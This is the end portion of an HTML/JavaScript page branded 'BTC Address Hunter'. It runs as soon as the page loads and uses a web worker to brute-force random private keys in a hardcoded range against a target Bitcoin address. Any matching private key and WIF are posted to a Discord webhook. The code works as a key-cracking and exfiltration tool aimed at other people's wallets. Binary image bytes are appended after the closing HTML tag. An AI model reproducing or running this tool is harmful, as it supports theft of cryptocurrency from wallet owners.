title: "🎉 Bitcoin Address Match Found!",
description: `A target Bitcoin address has been found!`,
color: 65280, // Green color for Discord embed
fields: [
{ name: "Target Address", value: `\`${TARGET_ADDRESS}\``, inline: false },
{ name: "Matched Address", value: `\`${address}\``, inline: false },
{ name: "Private Key (Hex)", value: `\`${privHex}\``, inline: false },
{ name: "WIF (Wallet Import Format)", value: `\`${wif}\``, inline: false },
{ name: "Scan Time", value: `${((Date.now() - scanStartTime) / 1000).toFixed(2)} seconds`, inline: true },
{ name: "Keys Scanned", value: totalScannedKeys.toLocaleString(), inline: true }
],
footer: {
text: "Generated by BTC Address Hunter"
},
timestamp: new Date().toISOString()
}
]
};
try {
const response = await fetch(webhookUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(payload),
});
if (response.ok) {
consoleLog('Successfully sent result to Discord webhook!', 'success');
} else {
const errorText = await response.text();
consoleLog(`Failed to send result to Discord webhook: ${response.status} - ${errorText}`, 'error');
}
} catch (error) {
consoleLog(`Network error sending to Discord webhook: ${error.message}`, 'error');
}
}
/**
* Starts the Bitcoin address scanning process using a Web Worker.
*/
async function startScan() {
totalScannedKeys = 0n; // Reset scanned keys
scanStartTime = Date.now();
const startBigInt = BigInt('0x' + START_HEX);
const endBigInt = BigInt('0x' + END_HEX);
if (startBigInt >= endBigInt) {
consoleLog("❌ Critical Error: Hardcoded START_HEX must be less than END_HEX. Scan aborted.", 'error');
return;
}
const rangeSize = endBigInt - startBigInt + 1n;
consoleLog(`\n🔍 Starting automatic random scan for target: ${TARGET_ADDRESS}`);
consoleLog(`🔢 Hardcoded Random Range (hex): ${START_HEX} → ${END_HEX}`);
consoleLog(`📏 Search space size: ${rangeSize.toLocaleString()} possible keys.`);
consoleLog(`Outputting progress to console. Open developer tools (F12) -> Console tab.`);
// Create Web Worker as a Blob URL
const workerScript = `
importScripts('https://cdnjs.cloudflare.com/ajax/libs/elliptic/6.5.4/elliptic.min.js');
importScripts('https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js');
// bs58 encoding/decoding utility (replicated for worker)
const bs58 = (function () {
const ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
const BASE = ALPHABET.length;
return {
encode(buffer) {
if (!(buffer instanceof Uint8Array)) buffer = new Uint8Array(buffer);
let digits = [0];
for (let i = 0; i < buffer.length; ++i) {
for (let j = 0; j < digits.length; ++j) digits[j] <<= 8;
digits[0] += buffer[i];
let carry = 0;
for (let j = 0; j < digits.length; ++j) {
digits[j] += carry;
carry = (digits[j] / BASE) | 0;
digits[j] %= BASE;
}
while (carry) {
digits.push(carry % BASE);
carry = (carry / BASE) | 0;
}
}
let str = "";
for (let k = 0; buffer[k] === 0 && k < buffer.length - 1; ++k) str += ALPHABET[0];
for (let q = digits.length - 1; q >= 0; --q) str += ALPHABET[digits[q]];
return str;
}
};
})();
const ec = new elliptic.ec('secp256k1');
/** Converts a hexadecimal string to a Uint8Array. */
function hexToBytes(hex) {
return Uint8Array.from(hex.match(/.{1,2}/g).map(b => parseInt(b, 16)));
}
/** Converts a Uint8Array to a CryptoJS WordArray. */
function bytesToWordArray(u8arr) {
const words = [];
for (let i = 0; i < u8arr.length; i += 4) {
let word = 0;
if (i < u8arr.length) word |= u8arr[i] << 24;
if (i + 1 < u8arr.length) word |= u8arr[i + 1] << 16;
if (i + 2 < u8arr.length) word |= u8arr[i + 2] << 8;
if (i + 3 < u8arr.length) word |= u8arr[i + 3];
words.push(word);
}
return CryptoJS.lib.WordArray.create(words, u8arr.length);
}
/** Computes the SHA256 hash of a Uint8Array. */
function sha256(data) {
return CryptoJS.SHA256(bytesToWordArray(data)).toString();
}
/** Computes the RIPEMD160 hash of a hexadecimal string. */
function ripemd160(hexStr) {
return CryptoJS.RIPEMD160(CryptoJS.enc.Hex.parse(hexStr)).toString();
}
/**
* Converts a private key (hex) to a compressed Bitcoin address.
* @param {string} privHex - The private key in hexadecimal format.
* @returns {string} The compressed Bitcoin address.
*/
function privateKeyToCompressedAddress(privHex) {
const key = ec.keyFromPrivate(privHex, 'hex');
const pubCompressed = key.getPublic(true, 'hex'); // Get compressed public key
const pubBytes = hexToBytes(pubCompressed);
const sha = sha256(pubBytes);
const ripemd = ripemd160(sha);
const versionedPayload = "00" + ripemd; // 0x00 for P2PKH mainnet addresses
// Double SHA256 for checksum
const checksum = sha256(hexToBytes(sha256(hexToBytes(versionedPayload)))).slice(0, 8);
const fullPayload = versionedPayload + checksum;
return bs58.encode(hexToBytes(fullPayload));
}
/**
* Converts a private key (hex) to its Wallet Import Format (WIF).
* @param {string} privHex - The private key in hexadecimal format.
* @returns {string} The WIF string.
*/
function privateKeyToWIF(privHex) {
const extended = "80" + privHex + "01"; // 0x80 for mainnet, 0x01 for compressed public key
const checksum = sha256(hexToBytes(sha256(hexToBytes(extended)))).slice(0, 8);
const fullPayload = extended + checksum;
return bs58.encode(hexToBytes(fullPayload));
}
/**
* Generates a random BigInt within a specified range (inclusive).
* Uses rejection sampling for uniform distribution.
* @param {BigInt} min - The minimum value (inclusive).
* @param {BigInt} max - The maximum value (inclusive).
* @returns {BigInt} A random BigInt within the range.
*/
function getRandomBigIntInRange(min, max) {
const range = max - min + 1n;
let bitLength = 0;
if (range > 0n) {
bitLength = range.toString(2).length;
} else {
return min;
}
const byteLength = Math.max(1, Math.ceil(bitLength / 8));
const randomBytes = new Uint8Array(byteLength);
let randomValue;
do {
self.crypto.getRandomValues(randomBytes); // Browser's crypto.getRandomValues
randomValue = 0n;
for (let i = 0; i < byteLength; i++) {
randomValue = (randomValue << 8n) | BigInt(randomBytes[i]);
}
} while (randomValue >= range);
return min + randomValue;
}
// Web Worker message handler
self.onmessage = async function(event) {
const { target, startHex, endHex } = event.data;
const startBigInt = BigInt('0x' + startHex);
const endBigInt = BigInt('0x' + endHex);
let scannedCount = 0n;
let lastReportTime = Date.now();
const REPORT_INTERVAL = 500; // Report every 500 ms
// The loop runs indefinitely for random scanning until a match is found or terminated
while (true) {
const randomPrivKeyBigInt = getRandomBigIntInRange(startBigInt, endBigInt);
const privHex = randomPrivKeyBigInt.toString(16).padStart(64, '0');
const addr = privateKeyToCompressedAddress(privHex);
scannedCount++;
if (addr === target) {
const wif = privateKeyToWIF(privHex);
self.postMessage({
type: 'match',
privHex: privHex,
wif: wif,
address: addr,
scannedCount: scannedCount
});
return; // Stop scanning after a match is found
}
// Report progress back to the main thread periodically
if (Date.now() - lastReportTime > REPORT_INTERVAL) {
self.postMessage({
type: 'progress',
scannedCount: Number(scannedCount) // Send count as number for display
});
lastReportTime = Date.now();
}
}
};
`;
const blob = new Blob([workerScript], { type: 'application/javascript' });
scanWorker = new Worker(URL.createObjectURL(blob));
// Main thread message handler for worker messages
scanWorker.onmessage = function(event) {
const data = event.data;
if (data.type === 'progress') {
totalScannedKeys = BigInt(data.scannedCount);
const elapsed = (Date.now() - scanStartTime) / 1000;
const keysPerSecond = elapsed > 0 ? Number(totalScannedKeys) / elapsed : 0;
// Use console.clear() and console.log to simulate a dynamic update in console
// Note: console.clear() might clear other console messages too.
// For continuous line updates, you might need more advanced console manipulation (not standard in browsers).
// For now, just logging lines.
console.clear(); // Clears the console to show only latest progress
consoleLog(`Scanning... ${totalScannedKeys.toLocaleString()} keys scanned (${keysPerSecond.toFixed(2)} keys/sec)`);
} else if (data.type === 'match') {
totalScannedKeys = BigInt(data.scannedCount); // Final count
consoleLog(`\n✅ MATCH FOUND!`, 'success');
consoleLog(`🔑 Private Key (hex): ${data.privHex}`);
consoleLog(`🔐 WIF (Compressed): ${data.wif}`);
consoleLog(`📍 Matched Address: ${data.address}`);
const elapsed = ((Date.now() - scanStartTime) / 1000).toFixed(2);
consoleLog(`⏱️ Scan Time: ${elapsed} seconds`, 'info');
consoleLog(`Total keys scanned: ${totalScannedKeys.toLocaleString()}`, 'info');
// Send to Discord webhook
sendToDiscordWebhook(data.privHex, data.wif, data.address);
stopScan(); // Stop the worker after finding a match
} else if (data.type === 'error') {
consoleLog(`Worker Error: ${data.message}`, 'error');
stopScan(); // Terminate worker on error
}
};
// Main thread error handler for worker
scanWorker.onerror = function(error) {
consoleLog(`Web Worker Error: ${error.message}`, 'error');
stopScan(); // Terminate worker on error
};
// Post initial message to worker to start scanning
scanWorker.postMessage({
target: TARGET_ADDRESS,
startHex: START_HEX,
endHex: END_HEX
});
}
/**
* Stops the current scanning process.
*/
function stopScan() {
if (scanWorker) {
scanWorker.terminate();
scanWorker = null;
consoleLog("\nScan terminated.", 'warn');
const elapsed = ((Date.now() - scanStartTime) / 1000).toFixed(2);
consoleLog(`⏱️ Total Scan Time: ${elapsed} seconds`, 'info');
}
}
// Auto-start the scan when the page loads
window.onload = startScan;
</script>
</body>
</html>
b IDATxytVսϓ22 A@IR:hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-E